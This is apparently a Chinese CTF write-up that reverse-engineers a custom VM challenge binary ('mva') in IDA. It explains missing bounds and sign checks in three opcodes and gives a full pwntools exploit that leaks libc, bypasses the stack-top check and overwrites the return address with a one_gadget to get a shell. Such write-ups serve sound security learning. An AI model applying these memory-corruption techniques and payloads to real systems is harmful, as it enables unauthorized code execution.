ida 分析

ida 打开,发现反编译代码不完整。
在这里插入图片描述
看汇编,发现存在脏字
在这里插入图片描述
nop 掉后就可以看到完整代码了。
然而 case 8u: 依旧不能反编译。
在这里插入图片描述
认真分析了汇编发现没有问题,其实这是 ida 的一个 bug ,只要选择 Edit->Patch program->Apply patches to input file 将修改保存然后重新 ida 分析就可以正常反编译了。
在这里插入图片描述
这个函数也没有反编译完全
在这里插入图片描述
undefine 之后重新定义函数就好了
在这里插入图片描述

程序分析

main 函数

经典虚拟机

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int16 f; // [rsp+1Ah] [rbp-246h]
  __int16 is_run; // [rsp+1Ch] [rbp-244h]
  unsigned __int16 t; // [rsp+20h] [rbp-240h]
  unsigned int op; // [rsp+24h] [rbp-23Ch]
  int next_op; // [rsp+28h] [rbp-238h]
  __int64 top; // [rsp+30h] [rbp-230h]
  unsigned __int16 reg[6]; // [rsp+44h] [rbp-21Ch] BYREF
  unsigned __int16 stk[260]; // [rsp+50h] [rbp-210h]
  unsigned __int64 v12; // [rsp+258h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  sub_1277(a1, a2, a3);
  f = 0;
  top = 0LL;
  memset(reg, 0, sizeof(reg));
  is_run = 1;
  puts("[+] Welcome to MVA, input your code now :");
  fread(ops, 0x100uLL, 1uLL, stdin);
  puts("[+] MVA is starting ...");
LABEL_102:
  while ( is_run )
  {
    op = get_op();
    t = HIBYTE(op);
    if ( t > 0xFu )
      break;
    switch ( t )
    {
      case 0u:
        is_run = 0;
        break;
      case 1u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        reg[SBYTE2(op)] = op;
        break;
      case 2u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] + reg[(char)op];
        break;
      case 3u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] - reg[(char)op];
        break;
      case 4u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] & reg[(char)op];
        break;
      case 5u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] | reg[(char)op];
        break;
      case 6u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        reg[SBYTE2(op)] = (int)reg[SBYTE2(op)] >> reg[SBYTE1(op)];
        break;
      case 7u:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] ^ reg[(char)op];
        break;
      case 8u:
        pc = get_op();
        break;
      case 9u:
        if ( top > 256 )
          exit(0);
        if ( BYTE2(op) )
          stk[top] = op;
        else
          stk[top] = reg[0];
        ++top;
        break;
      case 0xAu:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( !top )
          exit(0);
        reg[SBYTE2(op)] = stk[--top];
        break;
      case 0xBu:
        next_op = get_op();
        if ( f == 1 )
          pc = next_op;
        break;
      case 0xCu:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 || (op & 0x8000) != 0 )
          exit(0);
        f = reg[SBYTE2(op)] == reg[SBYTE1(op)];
        break;
      case 0xDu:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( (char)op > 5 || (op & 0x80u) != 0 )
          exit(0);
        reg[SBYTE2(op)] = reg[SBYTE1(op)] * reg[(char)op];
        break;
      case 0xEu:
        if ( SBYTE2(op) > 5 || (op & 0x800000) != 0 )
          exit(0);
        if ( SBYTE1(op) > 5 )
          exit(0);
        reg[SBYTE1(op)] = reg[SBYTE2(op)];
        break;
      case 0xFu:
        printf("%d\n", stk[top]);
        break;
      default:
        goto LABEL_102;
    }
  }
  puts("[+] MVA is shutting down ...");
  return 0LL;
}

get_op 函数

获取指令,分析代码可知,指令长度为 4 字节,并且按照大端序获取,即低地址的字节位于 op 的高位。从代码分析可以看出,指令长度均为 4 ,按 64 位数 op 从高到低位,第一个字节是操作码,后面三个字节为地址码或填充字节。
在这里插入图片描述

__int64 get_op()
{
  unsigned int op; // [rsp+4h] [rbp-Ch]

  op = (*(_DWORD *)&ops[pc] << 8) & 0xFF0000 | (*(_DWORD *)&ops[pc] >> 8) & 0xFF00 | HIBYTE(*(_DWORD *)&ops[pc]) | (*(_DWORD *)&ops[pc] << 24);
  pc += 4;
  return op;
}

漏洞分析

可以看出程序中对地址码的检验一个是判断上界,另一个是通过判断标志位判断正负。
程序中主要存在 3 个漏洞点:

case 0xDu

缺少对 SBYTE1(op) 的范围的检验,可以从任意地址的读取 2 字节数据到寄存器。

case 0xEu

缺少对 SBYTE1(op) 的正负的检验,通过读入负数可以将寄存器中 2 字节数据写入在 [reg-0xFF,reg+5] 区间中的地址上。

case 9u

分析 case 9u 的代码:

case 9u:
  if ( top > 256 )
    exit(0);
  if ( BYTE2(op) )
    stk[top] = op;
  else
    stk[top] = reg[0];
  ++top;
  break;

对应的汇编为:

.text:00000000000017A1 loc_17A1:                               ; CODE XREF: main+14B↑j
.text:00000000000017A1                                         ; DATA XREF: .rodata:jpt_13F5↓o
.text:00000000000017A1                 mov     rax, [rbp+top]  ; jumptable 00000000000013F5 case 9
.text:00000000000017A8                 cmp     rax, 100h
.text:00000000000017AE                 jle     short loc_17BA
.text:00000000000017B0                 mov     edi, 0          ; status
.text:00000000000017B5                 call    _exit
.text:00000000000017BA ; ---------------------------------------------------------------------------
.text:00000000000017BA
.text:00000000000017BA loc_17BA:                               ; CODE XREF: main+504↑j
.text:00000000000017BA                 cmp     [rbp+var_249], 0
.text:00000000000017C1                 jnz     short loc_17E6
.text:00000000000017C3                 movsx   edx, [rbp+var_249]
.text:00000000000017CA                 mov     rax, [rbp+top]
.text:00000000000017D1                 movsxd  rdx, edx
.text:00000000000017D4                 movzx   edx, [rbp+rdx*2+reg]
.text:00000000000017DC                 mov     [rbp+rax*2+stk], dx
.text:00000000000017E4                 jmp     short loc_17FC
.text:00000000000017E6 ; ---------------------------------------------------------------------------
.text:00000000000017E6
.text:00000000000017E6 loc_17E6:                               ; CODE XREF: main+517↑j
.text:00000000000017E6                 mov     rax, [rbp+top]
.text:00000000000017ED                 movzx   edx, [rbp+var_23E]
.text:00000000000017F4                 mov     [rbp+rax*2+stk], dx
.text:00000000000017FC
.text:00000000000017FC loc_17FC:                               ; CODE XREF: main+53A↑j
.text:00000000000017FC                 mov     rax, [rbp+top]
.text:0000000000001803                 add     rax, 1
.text:0000000000001807                 mov     [rbp+top], rax
.text:000000000000180E                 jmp     loc_1A2B

因为对 top 没有校验正负,因此如果 top 为负数可以绕过对 top 的校验。
另外,mov [rbp+rax*2+stk], dx 指令中,由于 stk 为 16bit ,因此取值时存放 top 的寄存器 rax 要左移 1 位,这样恰好把符号位移走,变成正数,因此可以实现任意地址写。

漏洞利用

首先 main 函数中变量在栈中的布局如下:

-0000000000000249 var_249         db ?
-0000000000000248 var_248         db ?
-0000000000000247 var_247         db ?
-0000000000000246 f               dw ?
-0000000000000244 is_run          dw ?
-0000000000000242 var_242         dw ?
-0000000000000240 t               dw ?
-000000000000023E var_23E         dw ?
-000000000000023C op              dd ?
-0000000000000238 next_op         dd ?
-0000000000000234 var_234         dd ?
-0000000000000230 top             dq ?
-0000000000000228 var_228         dq ?
-0000000000000220                 db ? ; undefined
-000000000000021F                 db ? ; undefined
-000000000000021E                 db ? ; undefined
-000000000000021D                 db ? ; undefined
-000000000000021C reg             dw 6 dup(?)
-0000000000000210 stk             dw 260 dup(?)
-0000000000000008 var_8           dq ?
+0000000000000000  s              db 8 dup(?)
+0000000000000008  r              db 8 dup(?)

获取 one_gadget 地址

利用 case 0xDu 漏洞将栈中的泄露 libc 的基地址读入寄存器。
调试到 case 0xDu:
在这里插入图片描述
reg 地址如下:
在这里插入图片描述
观察栈结构,发现一个可以泄露 libc 基地址的数据。
在这里插入图片描述
计算得偏移为 0x3C ,是偶数,因此可以通过 reg[0x1E]~reg[0x20] 将其读取出来,然后用 reg[1]~reg[3] 将其存下。

payload += '\x01\x00\x00\x01'  # reg[0] = 1
payload += '\x0d\x01\x1e\x00'  # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00'  # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00'  # reg[3] = reg[0x20] * reg[0]

根据调试可知泄露出的 libc 地址相对基地址偏移为 0x2229E8 ,而 one_gadget 偏移为 0xE3B31。我们假定从泄露的真实地址与 one_gadget 真实地址之间存储在相同寄存器的值的大小关系与地址看做上述相对偏移值时相同寄存器值的大小关系相同(实际很大概率是这种情况),则将寄存器中的数据改为 one_gadget 地址需要将寄存器 2 减去 0x14,寄存器 1 加上 0x1149 。利用 case 2u:case 3u: 可实现上述操作。

payload += '\x01\x00\x00\x14'  # reg[0] = 0x14
payload += '\x03\x02\x02\x00'  # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49'  # reg[0] = 0x1149
payload += '\x02\x01\x01\x00'  # reg[1] = reg[1] + reg[0]

修改 top 为 0x800000000000010c

根据 main 函数中变量在栈中的布局可知,reg 地址为 $rbp - 0x23Ctop 地址为 $rbp - 0x230
由于 reg 长度为 16bit ,因此reg[-7]reg[-10] 覆盖 top 变量的头部和尾部。
由于 top 初值为 0 ,因此用两个寄存器借助 case 0xEu 的漏洞将 top 修改为 0x800000000000010c 。
根据补码的规则,-7 对应 0xF9 ,-10 对应 0xF6 。

payload += '\x01\x00\x80\x00'  # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00'  # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c'  # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00'  # reg[-10] = reg[0]

将返回地址修改为 one_gadget

根据前面对 case 9u 漏洞的分析,在比较时,由于 0x800000000000010c 为负数,因此可以绕过 if ( top > 256 ) 的检查。而在向 stk 添加元素时,由于 rax 左移 1 位发生溢出变为 0x218 ,因此实际访问的是存储函数返回地址的起始位置。将寄存器中存储的 one_gadget 地址依次写入即可获取 shell 。

payload += '\x0e\x01\x00\x00'  # reg[0] = reg[1]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00'  # reg[0] = reg[2]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00'  # reg[0] = reg[3]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]

在这里插入图片描述

完整 exp

from pwn import *

context.arch = 'amd64'
p = process('./mva')
# p = remote('119.23.155.14',24018)
elf = ELF('./mva')

payload = ''

payload += '\x01\x00\x00\x01'  # reg[0] = 1
payload += '\x0d\x01\x1e\x00'  # reg[1] = reg[0x1E] * reg[0]
payload += '\x0d\x02\x1f\x00'  # reg[2] = reg[0x1F] * reg[0]
payload += '\x0d\x03\x20\x00'  # reg[3] = reg[0x20] * reg[0]

payload += '\x01\x00\x00\x14'  # reg[0] = 0x14
payload += '\x03\x02\x02\x00'  # reg[2] = reg[2] - reg[0]
payload += '\x01\x00\x11\x49'  # reg[0] = 0x1149
payload += '\x02\x01\x01\x00'  # reg[1] = reg[1] + reg[0]

payload += '\x01\x00\x80\x00'  # reg[0] = 0x8000
payload += '\x0e\x00\xf9\x00'  # reg[-7] = reg[0]
payload += '\x01\x00\x01\x0c'  # reg[0] = 0x010C
payload += '\x0e\x00\xf6\x00'  # reg[-10] = reg[0]

payload += '\x0e\x01\x00\x00'  # reg[0] = reg[1]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x02\x00\x00'  # reg[0] = reg[2]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]
payload += '\x0e\x03\x00\x00'  # reg[0] = reg[3]
payload += '\x09\x00\x00\x00'  # stk[top++] = reg[0]

p.sendafter("input your code now :\n", payload.ljust(0x100, '\x00'))
p.recvuntil("MVA is starting ...")
p.interactive()
Logo

华为开发者空间,是为全球开发者打造的专属开发空间,汇聚了华为优质开发资源及工具,致力于让每一位开发者拥有一台云主机,基于华为根生态开发、创新。

更多推荐